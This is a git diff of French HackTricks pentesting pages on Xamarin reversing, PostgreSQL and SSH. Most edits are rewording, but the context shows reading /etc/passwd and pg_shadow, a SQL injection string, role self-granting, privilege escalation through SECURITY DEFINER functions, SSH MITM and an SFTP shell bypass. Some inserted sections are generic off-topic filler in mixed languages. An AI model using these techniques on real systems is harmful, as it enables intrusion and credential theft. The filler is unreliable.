|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -18,7 +18,7 @@ Xamarin est une plateforme open-source qui donne aux développeurs accès à une
|
|||
|
||||
### Architecture Xamarin Android 
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Xamarin offre des liaisons .NET vers les espaces de noms Android.\* et Java.\*. Les applications Xamarin Android fonctionnent sous l'environnement d'exécution Mono, avec la machine virtuelle Android Runtime (ART) qui s'exécute côte à côte.
|
||||
|
||||
|
@ -34,7 +34,7 @@ Il s'exécute avec le runtime Objective-C. Les environnements d'exécution s'ex
|
|||
|
||||
Le diagramme ci-dessous illustre cette architecture :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Qu'est-ce que le .Net Runtime et le Mono Framework ?
|
||||
|
||||
|
@ -69,9 +69,9 @@ Si vous rencontrez une application compilée en AOT complet, et si les fichiers
|
|||
|
||||
Il suffit de **dézipper le fichier apk/ipa** et de copier tous les fichiers présents dans le répertoire assemblies :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dans le cas des **APK Android, ces fichiers dll sont compressés** et ne peuvent pas être directement utilisés pour la décompilation. Heureusement, il existe des outils que nous pouvons utiliser pour **décompresser ces fichiers dll** comme [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) et [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
|
||||
Dans le cas des **APK Android, ces fichiers dll sont compressés** et ne peuvent pas être directement utilisés pour la décompilation. Heureusement, il existe des outils que nous pouvons utiliser pour **décompresser ces fichiers dll** tels que [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) et [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
|
||||
```
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
|
@ -79,7 +79,7 @@ Dans le cas d'iOS, les fichiers DLL à l'intérieur des fichiers IPA peuvent êt
|
|||
|
||||
La plupart du code de l'application peut être trouvé lorsque nous décompilons les fichiers DLL. Notez également que les applications basées sur le framework Xamarin contiennent 90% de code commun dans les versions de toutes les plateformes telles que iOS et Android, etc.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
À partir de la capture d'écran ci-dessus de la liste des fichiers DLL présents dans l'APK, nous pouvons confirmer qu'il s'agit d'une application Xamarin. Elle contient des fichiers DLL spécifiques à l'application ainsi que des fichiers de bibliothèque nécessaires au fonctionnement de l'application, tels que `Xamarin.Essentails.dll` ou `Mono.Security.dll`.
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -56,7 +56,7 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
Obtenez un accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -176,29 +176,15 @@ PostgreSQL does not have default credentials, but it is common for users to set
|
|||
|
||||
### SQL Injection
|
||||
|
||||
PostgreSQL is vulnerable to SQL injection attacks if user input is not properly sanitized. By injecting malicious SQL code, an attacker can manipulate the database and potentially gain unauthorized access.
|
||||
PostgreSQL is vulnerable to SQL injection attacks, which can allow an attacker to execute arbitrary SQL queries and potentially gain unauthorized access to the database. It is important to thoroughly test web applications that use PostgreSQL as their backend for SQL injection vulnerabilities.
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
If a user has been granted excessive privileges in a PostgreSQL database, it may be possible to escalate their privileges and gain unauthorized access to sensitive data or perform unauthorized actions.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
### Dumping Data
|
||||
|
||||
To dump the contents of a PostgreSQL database, you can use the following command:
|
||||
|
||||
```bash
|
||||
pg_dump -U <username> -d <database> -f <output_file>
|
||||
```
|
||||
|
||||
### Creating Backdoors
|
||||
|
||||
After gaining unauthorized access to a PostgreSQL database, an attacker may want to create a backdoor to maintain access in the future. This can be done by creating a new user with administrative privileges or by modifying existing user privileges.
|
||||
If a user has been granted excessive privileges in a PostgreSQL database, it may be possible to escalate their privileges and gain unauthorized access to sensitive data. This can be done by exploiting misconfigurations or vulnerabilities in the database server.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Pentesting PostgreSQL involves identifying vulnerabilities in the database and exploiting them to gain unauthorized access or perform unauthorized actions. By understanding the enumeration, exploitation, and post-exploitation techniques, you can effectively assess the security of PostgreSQL installations.
|
||||
Pentesting PostgreSQL involves enumerating users and databases, testing for weak credentials, and exploiting vulnerabilities such as SQL injection and privilege escalation. By understanding these techniques, you can effectively assess the security of PostgreSQL installations and help organizations protect their data.
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
|
@ -282,47 +268,71 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|||
```
|
||||
### Tables
|
||||
|
||||
Les tables sont des objets de base de données qui stockent les données de manière organisée. Elles sont composées de colonnes et de lignes, où chaque colonne représente un attribut et chaque ligne représente un enregistrement.
|
||||
Les tables sont des objets fondamentaux dans PostgreSQL. Elles sont utilisées pour stocker et organiser les données de manière structurée. Chaque table est composée de colonnes et de lignes.
|
||||
|
||||
Lors de la pentest d'une base de données PostgreSQL, il est important d'analyser les tables pour identifier les informations sensibles et les vulnérabilités potentielles. Voici quelques techniques couramment utilisées :
|
||||
#### Création de tables
|
||||
|
||||
#### 1. Enumération des tables
|
||||
|
||||
L'objectif de cette technique est d'obtenir la liste complète des tables présentes dans la base de données. Cela peut être réalisé en utilisant des requêtes SQL spécifiques, telles que :
|
||||
Pour créer une table, vous pouvez utiliser la commande `CREATE TABLE`. Voici un exemple de syntaxe :
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
|
||||
CREATE TABLE nom_table (
|
||||
nom_colonne1 type_colonne1,
|
||||
nom_colonne2 type_colonne2,
|
||||
...
|
||||
);
|
||||
```
|
||||
|
||||
#### 2. Extraction des données
|
||||
Remplacez `nom_table` par le nom de votre table, `nom_colonne` par le nom de chaque colonne et `type_colonne` par le type de données de chaque colonne.
|
||||
|
||||
Une fois que les tables ont été identifiées, il est possible d'extraire les données qu'elles contiennent. Cela peut être fait en utilisant des requêtes SQL pour sélectionner les colonnes et les enregistrements souhaités. Par exemple :
|
||||
#### Suppression de tables
|
||||
|
||||
Pour supprimer une table, vous pouvez utiliser la commande `DROP TABLE`. Voici un exemple de syntaxe :
|
||||
|
||||
```sql
|
||||
SELECT * FROM users;
|
||||
DROP TABLE nom_table;
|
||||
```
|
||||
|
||||
#### 3. Injection SQL
|
||||
Remplacez `nom_table` par le nom de la table que vous souhaitez supprimer.
|
||||
|
||||
Si une application web est connectée à la base de données PostgreSQL, il est possible d'exploiter des vulnérabilités d'injection SQL pour extraire des données non autorisées. Cela peut être réalisé en manipulant les requêtes SQL de l'application pour exécuter du code malveillant. Par exemple :
|
||||
#### Modification de tables
|
||||
|
||||
Pour modifier une table existante, vous pouvez utiliser la commande `ALTER TABLE`. Voici quelques exemples de modifications courantes :
|
||||
|
||||
- Ajouter une colonne :
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username = 'admin' OR '1'='1';
|
||||
ALTER TABLE nom_table ADD COLUMN nom_colonne type_colonne;
|
||||
```
|
||||
|
||||
#### 4. Injection de commandes
|
||||
|
||||
Dans certains cas, il est possible d'injecter des commandes système directement dans les requêtes SQL pour exécuter des commandes arbitraires sur le serveur PostgreSQL. Cela peut être utilisé pour obtenir un accès plus profond au système d'exploitation. Par exemple :
|
||||
- Supprimer une colonne :
|
||||
|
||||
```sql
|
||||
SELECT * FROM users; SELECT * FROM pg_shadow;
|
||||
ALTER TABLE nom_table DROP COLUMN nom_colonne;
|
||||
```
|
||||
|
||||
#### 5. Attaques par force brute
|
||||
- Modifier le type de données d'une colonne :
|
||||
|
||||
Si les mots de passe des utilisateurs sont stockés dans la base de données PostgreSQL, il est possible de les attaquer par force brute en essayant différentes combinaisons de mots de passe jusqu'à ce que le bon soit trouvé. Cela peut être réalisé en utilisant des outils spécialisés tels que Hydra ou Medusa.
|
||||
```sql
|
||||
ALTER TABLE nom_table ALTER COLUMN nom_colonne TYPE nouveau_type_colonne;
|
||||
```
|
||||
|
||||
Il est important de noter que toutes ces techniques doivent être utilisées de manière éthique et légale, avec l'autorisation appropriée du propriétaire du système.
|
||||
Remplacez `nom_table` par le nom de la table que vous souhaitez modifier, `nom_colonne` par le nom de la colonne concernée et `nouveau_type_colonne` par le nouveau type de données.
|
||||
|
||||
#### Consultation des tables
|
||||
|
||||
Pour consulter les tables existantes dans une base de données, vous pouvez utiliser la commande `SELECT` avec la clause `FROM`. Voici un exemple de syntaxe :
|
||||
|
||||
```sql
|
||||
SELECT table_name
|
||||
FROM information_schema.tables
|
||||
WHERE table_schema = 'public';
|
||||
```
|
||||
|
||||
Cette requête renverra le nom de toutes les tables présentes dans le schéma public de la base de données.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Les tables sont des éléments essentiels dans PostgreSQL pour stocker et organiser les données. Vous pouvez les créer, les modifier et les supprimer à l'aide des commandes appropriées. Utilisez la commande `SELECT` pour consulter les tables existantes dans une base de données.
|
||||
```sql
|
||||
# Get owners of tables
|
||||
select schemaname,tablename,tableowner from pg_tables;
|
||||
|
@ -359,12 +369,6 @@ Les déclencheurs sont des types spéciaux de fonctions qui sont automatiquement
|
|||
Views are virtual tables that are based on the result of a query. They provide a way to simplify complex queries and encapsulate logic. Views can be created using the `CREATE VIEW` statement and can be used like regular tables in queries.
|
||||
|
||||
Les vues sont des tables virtuelles basées sur le résultat d'une requête. Elles permettent de simplifier les requêtes complexes et d'encapsuler la logique. Les vues peuvent être créées à l'aide de l'instruction `CREATE VIEW` et peuvent être utilisées comme des tables normales dans les requêtes.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Understanding functions, stored procedures, triggers, and views is essential for effective PostgreSQL database management and development. These database objects provide powerful capabilities for organizing and manipulating data, and can greatly enhance the functionality and efficiency of your applications.
|
||||
|
||||
Comprendre les fonctions, les procédures stockées, les déclencheurs et les vues est essentiel pour une gestion et un développement efficaces de la base de données PostgreSQL. Ces objets de base de données offrent des fonctionnalités puissantes pour organiser et manipuler les données, et peuvent grandement améliorer la fonctionnalité et l'efficacité de vos applications.
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
|
@ -396,7 +400,7 @@ COPY demo from '/etc/passwd';
|
|||
SELECT * FROM demo;
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions **CREATEROLE**, vous pouvez **vous ajouter en tant que membre de ce groupe :**
|
||||
N'oubliez pas que si vous n'êtes pas un super utilisateur mais que vous avez les permissions **CREATEROLE**, vous pouvez **vous ajouter en tant que membre de ce groupe** :
|
||||
```sql
|
||||
GRANT pg_read_server_files TO username;
|
||||
```
|
||||
|
@ -536,7 +540,7 @@ Ensuite, un attaquant devra :
|
|||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Exécuter `pg_reload_conf()`
|
||||
|
||||
Lors des tests, j'ai remarqué que cela ne fonctionnera que si le **fichier de clé privée a des privilèges 640**, qu'il est **possédé par root** et par le **groupe ssl-cert ou postgres** (afin que l'utilisateur postgres puisse le lire), et qu'il est placé dans _/var/lib/postgresql/12/main_.
|
||||
Lors des tests, j'ai remarqué que cela ne fonctionnera que si le **fichier de clé privée a les privilèges 640**, il est **possédé par root** et par le **groupe ssl-cert ou postgres** (afin que l'utilisateur postgres puisse le lire), et est placé dans _/var/lib/postgresql/12/main_.
|
||||
|
||||
**Plus** [**d'informations sur cette technique ici**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**
|
||||
|
||||
|
@ -603,7 +607,7 @@ Dans [ce **writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem
|
|||
|
||||
Lorsque vous essayez de **donner la propriété d'une table à un autre utilisateur**, vous devriez obtenir une **erreur** qui l'empêche, mais apparemment GCP a donné cette **option à l'utilisateur postgres non-superutilisateur** dans GCP :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
En associant cette idée au fait que lorsque les commandes **INSERT/UPDATE/ANALYZE** sont exécutées sur une **table avec une fonction d'index**, la **fonction** est **appelée** en tant que partie de la commande avec les **permissions du propriétaire de la table**. Il est possible de créer un index avec une fonction et de donner les permissions de propriétaire à un **superutilisateur** sur cette table, puis d'exécuter ANALYZE sur la table avec la fonction malveillante qui pourra exécuter des commandes car elle utilise les privilèges du propriétaire.
|
||||
```c
|
||||
|
@ -679,7 +683,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|||
```
|
||||
### **Fonction définie par l'utilisateur avec** SECURITY DEFINER
|
||||
|
||||
Dans [**ce compte rendu**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), les testeurs d'intrusion ont réussi à obtenir des privilèges élevés à l'intérieur d'une instance PostgreSQL fournie par IBM, car ils ont **trouvé cette fonction avec le drapeau SECURITY DEFINER** :
|
||||
Dans [**cet article**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), des testeurs d'intrusion ont réussi à obtenir des privilèges élevés à l'intérieur d'une instance PostgreSQL fournie par IBM, car ils ont **trouvé cette fonction avec le drapeau SECURITY DEFINER** :
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -777,7 +781,7 @@ Les méthodes d'authentification basées sur le mot de passe sont **md5**, **cry
|
|||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -5,14 +5,14 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -60,8 +60,8 @@ ssh-audit est un outil d'audit de configuration des serveurs et clients SSH.
|
|||
* Collecte des algorithmes d'échange de clés, de clés d'hôte, de chiffrement et de code d'authentification des messages;
|
||||
* Affichage des informations sur les algorithmes (disponibles depuis, supprimés/désactivés, non sécurisés/faibles/obsolètes, etc.);
|
||||
* Recommandations sur les algorithmes (ajout ou suppression en fonction de la version du logiciel reconnu);
|
||||
* Affichage des informations de sécurité (problèmes connexes, liste des CVE attribuées, etc.);
|
||||
* Analyse de la compatibilité des versions SSH en fonction des informations sur les algorithmes;
|
||||
* Affichage des informations de sécurité (problèmes connexes, liste CVE attribuée, etc.);
|
||||
* Analyse de la compatibilité de la version SSH en fonction des informations sur les algorithmes;
|
||||
* Informations historiques provenant d'OpenSSH, Dropbear SSH et libssh;
|
||||
* Fonctionne sur Linux et Windows;
|
||||
* Aucune dépendance.
|
||||
|
@ -172,9 +172,9 @@ Si vous êtes sur le réseau local de la victime qui va se connecter au serveur
|
|||
|
||||
**Chemin de l'attaque :**
|
||||
|
||||
- le trafic de l'utilisateur est redirigé vers la machine attaquante
|
||||
- l'attaquant surveille les tentatives de connexion au serveur SSH et les redirige vers son propre serveur SSH
|
||||
- le serveur SSH de l'attaquant est configuré, premièrement, pour enregistrer toutes les données saisies, y compris le mot de passe de l'utilisateur, et deuxièmement, pour envoyer des commandes au serveur SSH légitime auquel l'utilisateur souhaite se connecter, pour les exécuter, puis renvoyer les résultats à l'utilisateur légitime
|
||||
* le trafic de l'utilisateur est redirigé vers la machine attaquante
|
||||
* l'attaquant surveille les tentatives de connexion au serveur SSH et les redirige vers son propre serveur SSH
|
||||
* le serveur SSH de l'attaquant est configuré, premièrement, pour enregistrer toutes les données saisies, y compris le mot de passe de l'utilisateur, et, deuxièmement, pour envoyer des commandes au serveur SSH légitime auquel l'utilisateur souhaite se connecter, pour les exécuter, puis renvoyer les résultats à l'utilisateur légitime
|
||||
|
||||
\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* fait exactement ce qui est décrit ci-dessus.
|
||||
|
||||
|
@ -184,7 +184,7 @@ Pour capturer et effectuer le véritable MitM, vous pouvez utiliser des techniqu
|
|||
|
||||
### Connexion en tant que root
|
||||
|
||||
Par défaut, la plupart des implémentations de serveur SSH autoriseront la connexion en tant que root. Il est conseillé de la désactiver car si les informations d'identification de ce compte sont divulguées, les attaquants obtiendront directement des privilèges administratifs, ce qui leur permettra également de mener des attaques de force brute sur ce compte.
|
||||
Par défaut, la plupart des implémentations de serveur SSH autoriseront la connexion en tant que root. Il est conseillé de la désactiver car si les informations d'identification de ce compte sont divulguées, les attaquants obtiendront directement des privilèges administratifs et cela leur permettra également de mener des attaques de force brute sur ce compte.
|
||||
|
||||
**Comment désactiver la connexion en tant que root pour openSSH :**
|
||||
|
||||
|
@ -195,7 +195,7 @@ Par défaut, la plupart des implémentations de serveur SSH autoriseront la conn
|
|||
|
||||
### Exécution de commandes SFTP
|
||||
|
||||
Une autre mauvaise configuration courante de SSH est souvent observée dans la configuration SFTP. La plupart du temps, lors de la création d'un serveur SFTP, l'administrateur souhaite que les utilisateurs aient un accès SFTP pour partager des fichiers, mais pas un accès shell distant sur la machine. Ils pensent donc qu'en créant un utilisateur, en lui attribuant un shell fictif (comme `/usr/bin/nologin` ou `/usr/bin/false`) et en le chrootant dans une prison, cela suffit pour éviter un accès shell ou une utilisation abusive sur l'ensemble du système de fichiers. Mais ils se trompent, **un utilisateur peut demander à exécuter une commande juste après l'authentification avant que sa commande ou son shell par défaut ne soit exécuté**. Ainsi, pour contourner le shell fictif qui refusera l'accès shell, il suffit de demander à exécuter une commande (par exemple `/bin/bash`) avant, simplement en faisant :
|
||||
Une autre mauvaise configuration courante de SSH est souvent observée dans la configuration SFTP. La plupart du temps, lors de la création d'un serveur SFTP, l'administrateur souhaite que les utilisateurs aient un accès SFTP pour partager des fichiers, mais pas un accès shell distant sur la machine. Ils pensent donc qu'en créant un utilisateur, en lui attribuant un shell fictif (comme `/usr/bin/nologin` ou `/usr/bin/false`) et en le chrootant dans une prison, cela suffit pour éviter un accès shell ou des abus sur l'ensemble du système de fichiers. Mais ils se trompent, **un utilisateur peut demander à exécuter une commande juste après l'authentification avant que sa commande ou son shell par défaut ne soit exécuté**. Ainsi, pour contourner le shell fictif qui refusera l'accès shell, il suffit de demander à exécuter une commande (par exemple `/bin/bash`) avant, simplement en faisant :
|
||||
```
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
|
@ -240,7 +240,7 @@ Match User noraj
|
|||
UsePAM yes
|
||||
```
|
||||
|
||||
Cette configuration restreint l'utilisateur `noraj` à son répertoire personnel (`/home/noraj`) et lui permet uniquement d'utiliser le protocole SFTP pour transférer des fichiers. Les options `AllowTcpForwarding` et `X11Forwarding` sont désactivées pour empêcher toute redirection de port ou transfert X11. L'authentification par mot de passe est autorisée, mais les tunnels, les TTY et les environnements utilisateur ne sont pas permis. Les options `AllowAgentForwarding` et `AllowStreamLocalForwarding` sont également désactivées pour des raisons de sécurité. Le serveur envoie un message de vérification toutes les 300 secondes pour vérifier si le client est toujours actif, et si le client ne répond pas après deux tentatives, la connexion est fermée. Enfin, l'option `UsePAM` est activée pour utiliser le module PAM (Pluggable Authentication Modules) pour l'authentification.
|
||||
Cette configuration restreint l'utilisateur `noraj` à son répertoire personnel (`/home/noraj`) et lui permet uniquement d'utiliser le protocole SFTP pour transférer des fichiers. Les options `AllowTcpForwarding` et `X11Forwarding` sont désactivées pour empêcher toute redirection de port ou transfert X11. L'authentification par mot de passe est autorisée, mais les tunnels, les TTY et les environnements utilisateur ne sont pas permis. Les options `AllowAgentForwarding` et `AllowStreamLocalForwarding` sont également désactivées pour des raisons de sécurité. Le serveur envoie un message de vérification toutes les 300 secondes pour vérifier si le client est toujours actif, et si le client ne répond pas après deux tentatives, la connexion est fermée. Enfin, l'option `UsePAM` est activée pour utiliser le module PAM pour l'authentification.
|
||||
```
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
|
@ -260,9 +260,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
|||
```
|
||||
### SFTP Symlink
|
||||
|
||||
Le **sftp** dispose de la commande "**symlink**". Par conséquent, si vous avez des **droits d'écriture** dans un dossier, vous pouvez créer des **liens symboliques** vers d'autres dossiers/fichiers. Comme vous êtes probablement **piégé** à l'intérieur d'un chroot, cela ne vous sera pas particulièrement utile, mais si vous pouvez **accéder** au **lien symbolique** créé à partir d'un **service sans chroot** (par exemple, si vous pouvez y accéder depuis le web), vous pourriez **ouvrir les fichiers liés par le lien symbolique via le web**.
|
||||
Le **sftp** dispose de la commande "**symlink**". Par conséquent, si vous avez des **droits d'écriture** dans un dossier, vous pouvez créer des **liens symboliques** vers d'autres dossiers/fichiers. Comme vous êtes probablement **piégé** à l'intérieur d'un chroot, cela ne sera pas particulièrement utile pour vous. Cependant, si vous pouvez **accéder** au **lien symbolique** créé à partir d'un **service sans chroot** (par exemple, si vous pouvez y accéder depuis le web), vous pourriez **ouvrir les fichiers liés par le lien symbolique via le web**.
|
||||
|
||||
